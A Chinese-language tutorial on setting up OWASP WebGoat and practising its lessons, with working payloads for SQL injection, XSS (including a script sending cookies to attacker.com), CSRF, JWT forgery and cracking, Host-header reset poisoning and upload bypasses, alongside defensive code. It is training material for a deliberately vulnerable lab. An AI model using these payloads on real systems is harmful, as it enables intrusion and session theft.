webgoat 是由 owasp 维护的、故意设计不安全的 web 应用程序,专门用于教学 web 应用安全漏洞和防御技术。
webgoat 概述
官方地址:https://github.com/webgoat/webgoat
特点:
- 完全免费开源
- 包含 100+ 个安全漏洞练习
- 每个课程都有详细指导
- 支持多语言(包括中文)
- 实时反馈和得分系统
- 适合从初学者到专家的所有级别
环境搭建方法
方法1:使用 docker(推荐)
# 1. 安装 docker(如未安装)
# linux
sudo apt-get update
sudo apt-get install docker.io docker-compose
# 2. 拉取 webgoat 镜像
docker pull webgoat/webgoat
# 3. 运行 webgoat
# 方式一:直接运行
docker run -d -p 8080:8080 -p 9090:9090 -e tz=asia/shanghai webgoat/webgoat
# 方式二:使用 docker-compose(推荐)
cat > docker-compose.yml << 'eof'
version: '3'
services:
webgoat:
image: webgoat/webgoat:latest
container_name: webgoat
ports:
- "8080:8080"
- "9090:9090"
environment:
- tz=asia/shanghai
- webgoat_host=0.0.0.0
restart: unless-stopped
eof
docker-compose up -d
# 4. 验证安装
docker ps
curl http://localhost:8080/webgoat
方法2:本地 jar 包运行
# 1. 下载最新版本 # 访问 https://github.com/webgoat/webgoat/releases # 下载 webgoat-server-xx.x.x.jar 和 webwolf-xx.x.x.jar # 2. 运行 webgoat(需要 java 11+) java -jar webgoat-server-xx.x.x.jar --server.port=8080 # 3. 运行 webwolf(独立工具) java -jar webwolf-xx.x.x.jar --server.port=9090 # 或者使用官方启动脚本 git clone https://github.com/webgoat/webgoat.git cd webgoat ./mvnw clean package java -jar webgoat-server/target/*.jar
方法3:源代码编译运行
# 1. 克隆仓库 git clone https://github.com/webgoat/webgoat.git cd webgoat # 2. 编译(需要 maven 和 java 11+) ./mvnw clean compile # 3. 运行 ./mvnw spring-boot:run -pl webgoat-server # 4. 访问 # webgoat: http://localhost:8080/webgoat # webwolf: http://localhost:9090/webwolf
方法4:使用 kali linux 预装版本
# kali linux 通常预装了 webgoat # 启动 webgoat service webgoat start # 或者手动启动 cd /usr/share/webgoat java -jar webgoat-server-*.jar # 访问:https://localhost:8080/webgoat
访问和初始配置
# 默认访问地址 webgoat: http://localhost:8080/webgoat webwolf: http://localhost:9090/webwolf # 首次访问配置 1. 打开浏览器访问 http://localhost:8080/webgoat 2. 创建新用户或使用默认: - 用户名:webgoat - 密码:webgoat 3. 选择语言(支持中文) 4. 开始课程
课程分类详解
webgoat 课程分为多个类别,从易到难:
1. 通用漏洞系列
a1:注入漏洞 - sql 注入(基础) - sql 注入(进阶) - nosql 注入 - 命令注入 - xxe 注入 a2:失效的身份认证 - 身份认证绕过 - jwt 令牌安全 - 密码重置漏洞 - 安全提问绕过 a3:敏感数据泄露 - 不安全的加密 - 弱哈希算法 - jwt 密钥泄露 a7:跨站脚本(xss) - 反射型 xss - 存储型 xss - dom 型 xss - 防御方法 a8:不安全的反序列化 - java 反序列化 - 远程代码执行
2. 高级漏洞系列
a4:外部实体(xxe) - xxe 读取文件 - xxe 盲注 - xxe 防御 a5:失效的访问控制 - 水平越权 - 垂直越权 - idor 漏洞 - jwt 篡改 a6:安全配置错误 - 目录遍历 - 敏感文件泄露 - 安全头部缺失 a9:使用含有已知漏洞的组件 - 依赖库漏洞 - 版本检测
3. 挑战系列
webwolf 挑战 - 文件上传绕过 - 邮件钓鱼 - 重定向漏洞 ctf 风格挑战 - 综合漏洞利用 - 多步骤攻击链
实战演练:sql 注入专题
练习1:基础 sql 注入
-- 1. 访问 sql injection (intro) -- 课程位置:a1 → sql injection (intro) -- 2. 基础注入练习 -- 输入:' or '1'='1 select * from users where name = '' or '1'='1'; -- 3. 获取所有用户 -- 输入:' or 1=1 -- select * from users where name = '' or 1=1 --'; -- 4. 联合查询注入 -- 输入:' union select 1,2 -- select * from products where name = '' union select 1,2 --'; -- 5. 获取数据库信息 -- 输入:' union select version(),database() --
练习2:盲注攻击
-- 1. 布尔盲注 -- 判断数据库类型 ' and (select substring(version(),1,1))='5' -- -- 2. 时间盲注 -- mysql:使用 sleep() 函数 ' and if(1=1,sleep(5),0) -- -- 3. 自动化工具使用 # 使用 sqlmap sqlmap -u "http://localhost:8080/webgoat/sqlinjection/attack5a" \ --data="name=test" \ --level=3 \ --risk=2 \ --dbs
练习3:sql 注入防御
// 查看防御代码示例 // 1. 使用预编译语句 string sql = "select * from users where username = ?"; preparedstatement stmt = connection.preparestatement(sql); stmt.setstring(1, username); // 2. 使用存储过程 // 3. 输入验证和过滤 // 4. 最小权限原则
xss 漏洞实战
反射型 xss
// 1. 基础 payload
<script>alert('xss')</script>
// 2. 绕过简单过滤
<script>alert('xss')</script>
<img src=x onerror=alert('xss')>
// 3. 窃取 cookie
<script>
document.location='http://attacker.com/steal?cookie='+document.cookie
</script>
存储型 xss
// 1. 在评论中注入
<iframe src="javascript:alert('xss')">
// 2. 结合 csrf
<script>
fetch('/transfer?to=hacker&amount=1000', {method: 'post'})
</script>
dom 型 xss
// 1. 利用 url 片段
http://target.com/#<script>alert('xss')</script>
// 2. 利用 innerhtml
document.getelementbyid('content').innerhtml = userinput;
// 防御:使用 textcontent 代替
身份认证漏洞实战
jwt 令牌攻击
// 1. 解码 jwt
// 使用 jwt.io 在线解码
// 2. 无签名攻击(alg: none)
// 修改 jwt 头部为 { "alg": "none" }
// 删除签名部分
// 3. 密钥爆破
// 使用 hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
// 4. 密钥混淆攻击
// 使用 hs256 但验证时使用 rs256
密码重置漏洞
# 1. 修改 host 头 post /reset-password http/1.1 host: attacker.com x-forwarded-host: attacker.com # 2. 密码重置令牌泄露 # 查看页面源码、js文件、网络请求 # 3. 时间窗口攻击 # 快速使用重置链接
文件上传漏洞实战
绕过文件类型检查
# 1. 修改 content-type # 上传 php 文件,但 content-type: image/jpeg # 2. 双扩展名 shell.php.jpg shell.php%00.jpg # 3. 大小写绕过 shell.php shell.php5 # 4. 特殊字符 shell.php. shell.php空格
webwolf 文件上传挑战
# 1. 访问 webwolf http://localhost:9090/webwolf # 2. 上传恶意文件 # 3. 使用重定向获取文件 <img src="http://localhost:9090/files/your-file"> # 4. 组合 xss <iframe src="http://localhost:9090/files/steal-cookie.js">
webgoat 防御练习
输入验证防御
// 1. 白名单验证
if (!input.matches("^[a-za-z0-9]+$")) {
throw new validationexception("非法输入");
}
// 2. 输出编码
string safeoutput = esapi.encoder().encodeforhtml(userinput);
// 3. 使用安全框架
// spring security 的 csrf 保护
// owasp esapi 库
安全配置
# application.yml 安全配置
security:
headers:
content-security-policy: "default-src 'self'"
x-frame-options: deny
x-content-type-options: nosniff
csrf:
enabled: true
工具集成和自动化
burp suite 配置
# 1. 配置代理 proxy → options → add - bind to port: 8081 - bind to address: 127.0.0.1 # 2. 浏览器设置代理 # firefox/chrome: 127.0.0.1:8081 # 3. 拦截 webgoat 请求 # 查看和修改请求/响应 # 4. 使用 intruder 爆破
owasp zap 集成
# 1. 启动 zap zap.sh # 2. 配置上下文 # 设置目标 url: http://localhost:8080/webgoat # 3. 自动扫描 # 主动扫描和被动扫描 # 4. 生成报告
学习路径建议
阶段1:基础(1-2周)
1. sql injection (intro) - 3天 2. cross-site scripting (xss) - 3天 3. path traversal - 2天 4. authentication flaws - 2天
阶段2:进阶(2-3周)
1. sql injection (advanced) - 4天 2. xxe injection - 3天 3. jwt tokens - 3天 4. insecure deserialization - 3天
阶段3:综合(1-2周)
1. webwolf challenges - 全部完成 2. secure coding lessons - 学习防御 3. 创建自己的漏洞环境
最佳实践和学习技巧
学习方法
1. **理论+实践结合** - 先理解漏洞原理 - 再动手实践 - 最后查看官方解法 2. **记笔记和思维导图** - 记录每个漏洞的原理 - 记录攻击步骤 - 记录防御方法 3. **使用多种工具** - 手动测试理解原理 - 使用工具提高效率 - 比较不同工具的效果
调试技巧
// 1. 查看后端代码 // webgoat 是开源的,可以查看源代码理解逻辑 // 2. 使用开发者工具 // - f12 打开开发者工具 // - network 标签查看请求 // - console 执行 javascript // - sources 查看前端代码 // 3. 日志查看 # 查看 webgoat 日志 docker logs webgoat # 或者运行时查看 java -jar webgoat-server.jar --debug
故障排除
常见问题1:无法启动
# 检查 java 版本(需要 java 11+) java -version # 检查端口占用 netstat -tlnp | grep 8080 # 或修改端口 java -jar webgoat-server.jar --server.port=8081 # docker 容器问题 docker logs webgoat-container docker-compose logs -f
常见问题2:课程无法完成
# 解决方法: 1. 仔细阅读题目描述 2. 查看页面源代码 3. 使用浏览器开发者工具 4. 查看网络请求 5. 参考官方文档 6. 使用 webgoat 的提示功能
常见问题3:性能问题
# 调整 jvm 参数 java -xms512m -xmx1024m -jar webgoat-server.jar # docker 资源限制 docker run -d -m 1g --cpus="1.0" webgoat/webgoat
进阶学习资源
扩展工具
1. **sqlmap** - sql 注入自动化 2. **xsstrike** - xss 检测 3. **jwt_tool** - jwt 攻击工具 4. **ffuf** - web 目录爆破 5. **nuclei** - 漏洞扫描
相关项目
1. **webgoat.net** - .net 版本 2. **dvwa** - 另一个漏洞环境 3. **bwapp** - 包含更多漏洞类型 4. **juice shop** - 现代 web 应用靶场
认证和学习路径
1. **owasp top 10** - 掌握所有漏洞类型 2. **oswe** - 高级 web 渗透认证 3. **burp suite certified practitioner** - burp 专业认证
挑战任务
任务1:完成所有基础课程
目标:30天内完成所有 a1-a10 基础课程 奖励:深入理解 owasp top 10
任务2:不查看源码完成挑战
目标:仅通过黑盒测试完成 webwolf 挑战 奖励:提升实战测试能力
任务3:编写自己的漏洞场景
目标:基于 webgoat 框架开发一个新漏洞练习 奖励:深入理解漏洞原理和代码实现
重要提醒:
- webgoat 仅在本地或授权环境中使用
- 学到的技术仅用于合法的安全测试
- 尊重他人隐私和系统安全
- 遵守网络安全法律法规
开始你的 webgoat 之旅:
从最简单的 sql 注入开始,逐步挑战更复杂的漏洞类型。每个课程都是一次学习机会,失败不可怕,重要的是从中学到东西。祝你学习顺利!
到此这篇关于webgoat环境搭建及实战步骤的文章就介绍到这了,更多相关webgoat环境搭建实战内容请搜索代码网以前的文章或继续浏览下面的相关文章希望大家以后多多支持代码网!
发表评论